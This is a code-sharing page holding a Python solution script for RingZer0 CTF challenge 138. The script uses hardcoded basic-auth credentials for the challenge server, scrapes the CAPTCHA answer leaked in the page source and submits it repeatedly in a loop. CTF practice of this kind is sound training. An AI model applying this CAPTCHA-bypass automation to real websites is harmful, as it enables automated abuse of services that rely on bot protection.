challenge138.py 文件源码

python
阅读 17 收藏 0 点赞 0 评论 0

项目:ringzer0 作者: F00ker 项目源码 文件源码
def ch138():
    ek = 'RZ_CH138_PW'

    s = requests.Session()
    auth = HTTPBasicAuth('captcha', 'QJc9U6wxD4SFT0u')
    url = 'http://captcha.ringzer0team.com:7421'
    for _ in xrange(1001):
        time.sleep(0.10)
        r = s.get('{0}/form1.php'.format(url), auth=auth)
        m = re.search(r'if \(A == "([a-z0-9]*)"\)', r.text)
        captcha = m.group(1)
        r = s.get('{0}/captcha/captchabroken.php?new'.format(url), auth=auth)
        payload = {'captcha':captcha}
        r = s.post('{0}/captcha1.php'.format(url), auth=auth, data=payload)
        doc = lxml.html.document_fromstring(r.text)
        alert = doc.xpath('//div[contains(@class, "alert")]')[0]
        msg = alert.text_content().strip()
        print msg
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号